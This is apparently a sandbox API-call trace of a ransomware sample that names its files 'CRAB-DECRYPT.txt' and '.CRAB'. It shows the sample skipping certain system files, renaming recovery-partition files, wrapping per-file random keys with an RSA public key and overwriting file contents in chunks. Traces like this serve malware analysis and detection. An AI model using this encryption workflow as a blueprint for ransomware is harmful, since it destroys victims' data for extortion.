	[0091.044] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0091.050] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0091.063] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0091.082] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.085] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.085] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0091.087] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.090] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x6000, lpOverlapped=0x0) returned 1
	[0091.096] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x3000, flProtect=0x4) returned 0x2fd0000
	[0091.097] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x3000, flProtect=0x4) returned 0x2fe0000
	[0091.097] VirtualFree (lpAddress=0x2fd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.098] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xffffa000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.098] WriteFile (in: hFile=0x3d4, lpBuffer=0x2fe0000*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2fe0000*, lpNumberOfBytesWritten=0x314df04*=0x6000, lpOverlapped=0x0) returned 1
	[0091.098] VirtualFree (lpAddress=0x2fe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.098] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.102] WriteFile (in: hFile=0x3d4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0091.102] WriteFile (in: hFile=0x3d4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0091.102] WriteFile (in: hFile=0x3d4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0091.102] CloseHandle (hObject=0x3d4) returned 1
	[0091.171] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.171] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.171] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.172] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.172] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.172] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.172] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0091.172] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0091.172] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0091.172] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Recovery\\WindowsRE\\CRAB-DECRYPT.txt") returned="C:\\Recovery\\WindowsRE\\CRAB-DECRYPT.txt"
	[0091.172] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0091.173] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Recovery\\WindowsRE\\CRAB-DECRYPT.txt") returned 38
	[0091.173] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\CRAB-DECRYPT.txt") returned 38
	[0091.173] lstrlenW (lpString=".txt") returned 4
	[0091.173] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0091.173] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0091.173] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.173] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\CRAB-DECRYPT.txt") returned 38
	[0091.173] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\CRAB-DECRYPT.txt") returned 38
	[0091.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0091.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0091.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0091.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0091.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0091.173] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0091.174] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0091.174] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0091.174] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0091.174] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.174] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0091.174] lstrcmpW (lpString1="ReAgent.xml", lpString2=".") returned 1
	[0091.174] lstrcmpW (lpString1="ReAgent.xml", lpString2="..") returned 1
	[0091.174] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="ReAgent.xml" | out: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned="C:\\Recovery\\WindowsRE\\ReAgent.xml"
	[0091.174] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0091.174] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33
	[0091.174] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33
	[0091.174] lstrlenW (lpString=".xml") returned 4
	[0091.174] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0091.174] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xml ") returned 5
	[0091.175] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.175] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33
	[0091.175] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\ReAgent.xml") returned 33
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="desktop.ini") returned 1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="autorun.inf") returned 1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="ntuser.dat") returned 1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="iconcache.db") returned 1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="bootsect.bak") returned 1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="boot.ini") returned 1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="ntuser.dat.log") returned 1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="thumbs.db") returned -1
	[0091.175] lstrcmpiW (lpString1="ReAgent.xml", lpString2="CRAB-DECRYPT.txt") returned 1
	[0091.175] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0091.175] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB") returned 38
	[0091.175] GetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml")) returned 0x2006
	[0091.176] SetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml", dwFileAttributes=0x2006) returned 1
	[0091.177] MoveFileW (lpExistingFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml" (normalized: "c:\\recovery\\windowsre\\reagent.xml"), lpNewFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB" (normalized: "c:\\recovery\\windowsre\\reagent.xml.crab")) returned 1
	[0091.177] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0091.177] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB" | out: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB") returned="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB"
	[0091.178] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB.CRAB") returned="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB.CRAB"
	[0091.178] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6eb78) returned 1
	[0091.178] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0091.178] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0091.179] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0091.179] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0091.179] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0091.179] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.179] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6eb78) returned 1
	[0091.179] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0091.180] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0091.180] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0091.180] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0091.180] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0091.180] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.180] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0091.180] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0091.181] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e6b0) returned 1
	[0091.181] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0xd801e0) returned 1
	[0091.181] CryptGetKeyParam (in: hKey=0xd801e0, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0091.181] CryptEncrypt (in: hKey=0xd801e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0091.182] GetLastError () returned 0x0
	[0091.182] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0091.182] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6eb78) returned 1
	[0091.182] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0xd80260) returned 1
	[0091.183] CryptGetKeyParam (in: hKey=0xd80260, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0091.183] CryptEncrypt (in: hKey=0xd80260, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0091.183] GetLastError () returned 0x0
	[0091.183] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0091.183] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\ReAgent.xml.CRAB" (normalized: "c:\\recovery\\windowsre\\reagent.xml.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0091.183] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0091.184] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0091.184] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x411, lpOverlapped=0x0) returned 1
	[0091.194] VirtualAlloc (lpAddress=0x0, dwSize=0x420, flAllocationType=0x3000, flProtect=0x4) returned 0x2fd0000
	[0091.194] VirtualAlloc (lpAddress=0x0, dwSize=0x420, flAllocationType=0x3000, flProtect=0x4) returned 0x2fe0000
	[0091.195] VirtualFree (lpAddress=0x2fd0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.195] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfffffbef, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.195] WriteFile (in: hFile=0x3d4, lpBuffer=0x2fe0000*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2fe0000*, lpNumberOfBytesWritten=0x314df04*=0x420, lpOverlapped=0x0) returned 1
	[0091.195] VirtualFree (lpAddress=0x2fe0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.195] VirtualFree (lpAddress=0x3150000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.198] WriteFile (in: hFile=0x3d4, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0091.198] WriteFile (in: hFile=0x3d4, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314df04*=0x100, lpOverlapped=0x0) returned 1
	[0091.198] WriteFile (in: hFile=0x3d4, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x314df04*=0x8, lpOverlapped=0x0) returned 1
	[0091.198] CloseHandle (hObject=0x3d4) returned 1
	[0091.199] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.201] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.201] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.202] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.202] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.202] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.203] FindNextFileW (in: hFindFile=0xd48280, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0091.203] lstrcmpW (lpString1="Winre.wim", lpString2=".") returned 1
	[0091.203] lstrcmpW (lpString1="Winre.wim", lpString2="..") returned 1
	[0091.203] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\", lpString2="Winre.wim" | out: lpString1="C:\\Recovery\\WindowsRE\\Winre.wim") returned="C:\\Recovery\\WindowsRE\\Winre.wim"
	[0091.203] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0091.203] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Recovery\\WindowsRE\\Winre.wim") returned 31
	[0091.203] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\Winre.wim") returned 31
	[0091.203] lstrlenW (lpString=".wim") returned 4
	[0091.203] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0091.204] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".wim ") returned 5
	[0091.204] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.204] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\Winre.wim") returned 31
	[0091.204] lstrlenW (lpString="C:\\Recovery\\WindowsRE\\Winre.wim") returned 31
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="desktop.ini") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="autorun.inf") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="ntuser.dat") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="iconcache.db") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="bootsect.bak") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="boot.ini") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="ntuser.dat.log") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="thumbs.db") returned 1
	[0091.204] lstrcmpiW (lpString1="Winre.wim", lpString2="CRAB-DECRYPT.txt") returned 1
	[0091.204] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0091.205] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB") returned 36
	[0091.205] GetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\Winre.wim" (normalized: "c:\\recovery\\windowsre\\winre.wim")) returned 0x2006
	[0091.206] SetFileAttributesW (lpFileName="C:\\Recovery\\WindowsRE\\Winre.wim", dwFileAttributes=0x2006) returned 1
	[0091.206] MoveFileW (lpExistingFileName="C:\\Recovery\\WindowsRE\\Winre.wim" (normalized: "c:\\recovery\\windowsre\\winre.wim"), lpNewFileName="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB" (normalized: "c:\\recovery\\windowsre\\winre.wim.crab")) returned 1
	[0091.207] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0091.207] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB" | out: lpString1="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB") returned="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB"
	[0091.207] lstrcatW (in: lpString1="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB.CRAB") returned="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB.CRAB"
	[0091.207] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e738) returned 1
	[0091.208] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0091.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0091.209] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0091.209] CryptGenRandom (in: hProv=0xd6e738, dwLen=0x10, pbBuffer=0x314debc | out: pbBuffer=0x314debc) returned 1
	[0091.209] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0091.209] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.209] CryptAcquireContextW (in: phProv=0x314dd80, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd80*=0xd6e408) returned 1
	[0091.209] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0091.210] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0091.210] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0091.210] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314de98 | out: pbBuffer=0x314de98) returned 1
	[0091.210] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0091.210] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.210] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0091.211] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0091.211] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e5a0) returned 1
	[0091.211] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0xd800a0) returned 1
	[0091.212] CryptGetKeyParam (in: hKey=0xd800a0, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0091.212] CryptEncrypt (in: hKey=0xd800a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x314decc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x314decc*=0x100) returned 1
	[0091.212] GetLastError () returned 0x0
	[0091.212] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0091.212] CryptAcquireContextW (in: phProv=0x314dd70, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314dd70*=0xd6e408) returned 1
	[0091.213] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314dd6c | out: phKey=0x314dd6c*=0xd80620) returned 1
	[0091.213] CryptGetKeyParam (in: hKey=0xd80620, dwParam=0x8, pbData=0x314dd5c, pdwDataLen=0x314dd64, dwFlags=0x0 | out: pbData=0x314dd5c*=0x800, pdwDataLen=0x314dd64*=0x4) returned 1
	[0091.213] CryptEncrypt (in: hKey=0xd80620, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x314ded0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x314ded0*=0x100) returned 1
	[0091.213] GetLastError () returned 0x0
	[0091.213] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0091.213] CreateFileW (lpFileName="C:\\Recovery\\WindowsRE\\Winre.wim.CRAB" (normalized: "c:\\recovery\\windowsre\\winre.wim.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0091.214] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0091.214] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3150000
	[0091.214] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0091.271] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0091.295] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0091.318] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.322] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.322] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0091.325] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.329] ReadFile (in: hFile=0x3d4, lpBuffer=0x3150000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314df14, lpOverlapped=0x0 | out: lpBuffer=0x3150000*, lpNumberOfBytesRead=0x314df14*=0x100000, lpOverlapped=0x0) returned 1
	[0091.343] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3260000
	[0091.359] VirtualAlloc (lpAddress=0x0, dwSize=0x100000, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0091.383] VirtualFree (lpAddress=0x3260000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0091.387] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0xfff00000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.387] WriteFile (in: hFile=0x3d4, lpBuffer=0x3360000*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x314df04, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesWritten=0x314df04*=0x100000, lpOverlapped=0x0) returned 1
	[0091.390] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
